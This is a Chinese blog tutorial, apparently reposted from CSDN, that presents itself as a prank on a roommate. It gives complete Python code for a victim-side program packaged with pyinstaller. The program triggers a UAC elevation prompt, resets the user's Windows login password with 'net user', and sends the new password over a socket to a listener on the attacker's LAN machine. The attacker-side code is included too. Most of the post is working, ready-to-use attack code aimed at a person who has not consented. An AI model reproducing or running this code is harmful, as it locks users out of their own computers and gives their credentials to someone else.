用python更改舍友电脑的开机密码并将密码发送到自己电脑(小恶作剧)

大家好,这个程序主要分为两个部分,一个是没有python环境的靶机端,也就是舍友的电脑,另外一个是有python环境攻击端,也就是我的电脑,这两个电脑处于同一个局域网中,拿下面就让我们来一起学习吧.

实验环境:同一局域网
一台靶机
一台攻击机

一.靶机端代码
1.导入实验所需要的库

from __future__ import print_function
import ctypes, sys
import socket
import getpass
import subprocess
import random
import string

2.程序主体

def getpasswd():
    # 我们使用socket与服务器进行交互
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # 连接server端IP地址、端口
    client.connect(('192.168.1.106', 3388))

    # 获取计算机用户名
    user = getpass.getuser()

    # 生成a-zA-Z0-9的随机密码
    letters = string.ascii_letters + string.digits
    pwd = ''.join([random.choice(letters) for _ in range(8)])

    # 修改windows密码
    subprocess.Popen(['net', 'User', user, pwd])

    # 通过socket 将编码密码发送给server端
    client.send(pwd.encode('utf-8'))

    msg = client.recv(1024)

    client.close()

3.获取管理员权限
注意!本程序一定要获取到管理员权限才可以修改密码,且以下代码不可以在IDE中运行!

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False
if is_admin():
    getpasswd()  #程序的主体部分
else:
    if sys.version_info[0] == 3:
        ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
    else:#in python2.x
        ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(__file__), None, 1)

二.攻击端代码

import socket  #导入库文件
def server():
    # server端同样需要通过创建socket,来监听client请求
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # 这里和客户端不一样的是,使用的是bind,代表server端自己的ip port
    server.bind(('192.168.1.106', 3388))

    # 这里的参数5 代表的是同时监听多少个客户端,如果超过5个,那么第6个客户端会出现响应等待,也就是卡在那了
    server.listen(5)

    print('starting....')
    # 创建socket连接后,会返回连接实例和地址
    conn, addr = server.accept()

    print(conn)
    print('client addr', addr)
    print('ready to recv the passwd...')

    while True:
        # 等待接受客户端发过来的信息
        client_msg = conn.recv(1024)
        print('client passwd changed: %s' % client_msg.decode())
        main()
def main():
    server()

main()

编写完代码之后,用pyinstaller工具将靶机端程序发给靶机,运行攻击端程序
在这里插入图片描述
然后运行靶机的exe程序,这时候就会出现这个提示

在这里插入图片描述
我们点击是,这时候就会发现我们攻击机就会收到靶机发来的开机密码
在这里插入图片描述
OK,大功告成!

猜你喜欢

转载自blog.csdn.net/Hallo_ZM/article/details/88431215